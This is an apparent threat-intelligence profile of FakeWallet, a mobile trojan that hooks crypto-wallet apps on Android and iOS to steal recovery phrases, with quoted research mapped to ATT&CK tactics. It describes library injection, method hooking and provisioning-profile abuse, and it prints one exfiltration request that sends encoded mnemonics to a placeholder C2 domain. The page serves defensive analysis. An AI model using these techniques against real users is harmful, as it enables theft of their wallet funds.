FakeWallet
- Type
- Trojan
- Capabilities
- Credential theftCrypto theftExfiltrationSpoofing
- Delivery
- PhishingLanding pageLure
- Platforms
- AndroidiOS
FakeWallet is a cryptocurrency-focused mobile malware campaign centered on trojanized wallet applications that impersonate legitimate crypto wallet brands in order to steal recovery phrases, private keys, and related wallet secrets. It has been identified on both Android and iOS, with notable activity involving fake wallet apps distributed through counterfeit websites and, in later activity, phishing applications placed in Apple’s App Store that redirected users to malicious installation flows. The operation has primarily targeted cryptocurrency users in China, exploiting the limited availability of some legitimate wallet applications in that market, but the malware’s functionality is not inherently region-locked.
On Android, FakeWallet has appeared as repackaged versions of legitimate wallet applications with malicious code inserted into wallet creation or import workflows so seed phrases can be captured and exfiltrated while the app retains expected wallet functionality. On iOS, observed variants have used multiple techniques, including malicious dynamic library injection, executable hooking, and direct modification of application source code, to intercept wallet restoration and recovery-phrase display flows. Some Ledger-focused variants relied on in-app phishing and fake verification screens rather than direct extraction, reflecting the different security model of cold-wallet companion applications.
The malware’s core objective is crypto-theft through credential and secret capture. Observed behaviors include scraping mnemonic phrases from wallet user interfaces, intercepting recovery workflows, collecting private keys, and exfiltrating stolen data to attacker-controlled infrastructure. Some variants encrypted captured mnemonics before transmission. Researchers have also documented fake wallet applications that simply solicit recovery phrases from victims without providing legitimate wallet functionality.
Distribution has relied on phishing-style impersonation of well-known wallet brands, typosquatting, fake promotional pages, counterfeit app-store experiences, and malicious or trojanized wallet installers. Earlier activity included dozens of fake websites promoting malicious Android and iOS wallet apps and affiliate-style recruitment of distributors. Later iOS-focused activity used benign-looking App Store stubs such as utility or game apps that redirected users to malicious pages and abused provisioning profiles to install infected wallet applications outside normal store controls.
FakeWallet is commonly classified by vendors as a mobile trojan or password-stealing trojan targeting cryptocurrency wallet secrets. Reporting has also noted possible overlap with SparkKitty in some iOS samples based on shared modules and tradecraft, although that linkage has been assessed rather than conclusively established.
Techniques & procedures
18 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
The verify.html phishing page prompts the user to enter their mnemonics... designed to match the app’s style and even supports autocomplete for mnemonics to project quality.
Initial Access
2 techniques
Initial Access
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device.
Opening each of the 26 fraudulent crypto wallet apps, all of which have since been removed by Apple, diverts to phishing pages impersonating legitimate crypto service portals that trick targets into downloading malicious wallet apps through iOS provisioning profiles
Execution
3 techniques
Execution
...trick targets into downloading malicious wallet apps through iOS provisioning profiles, a technique evident in the SparkKitty campaign
In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable... then swaps out legitimate class methods for malicious versions.
In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable.
Persistence
1 technique
Persistence
It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
Privilege Escalation
1 technique
Privilege Escalation
By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets
Stealth
6 techniques
Stealth
This string is encrypted using RSA with the PKCS #1 scheme. The encrypted data is then encoded into Base64.
More than two dozen Apple App Store apps spoofing well-known cryptocurrency wallets Coinbase, Metamask, OneKey, and Trust Wallet, have been leveraged to pilfer seed phrases
Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable... then swaps out legitimate class methods for malicious versions.
In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable.
This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Defense Impairment
1 technique
Defense Impairment
It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
Credential Access
3 techniques
Credential Access
Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.
It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device.
Discovery
2 techniques
Discovery
the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign in its name
This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Collection
2 techniques
Collection
Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server.
Command and Control
1 technique
Command and Control
The POST request used to exfiltrate those encrypted mnemonics looks like this: POST < c2_domain > / api / open / postByTokenPocket ? ciyu = < base64_encoded_encrypted_mnemonics >
Exfiltration
1 technique
Exfiltration
Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.
Observables
74 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.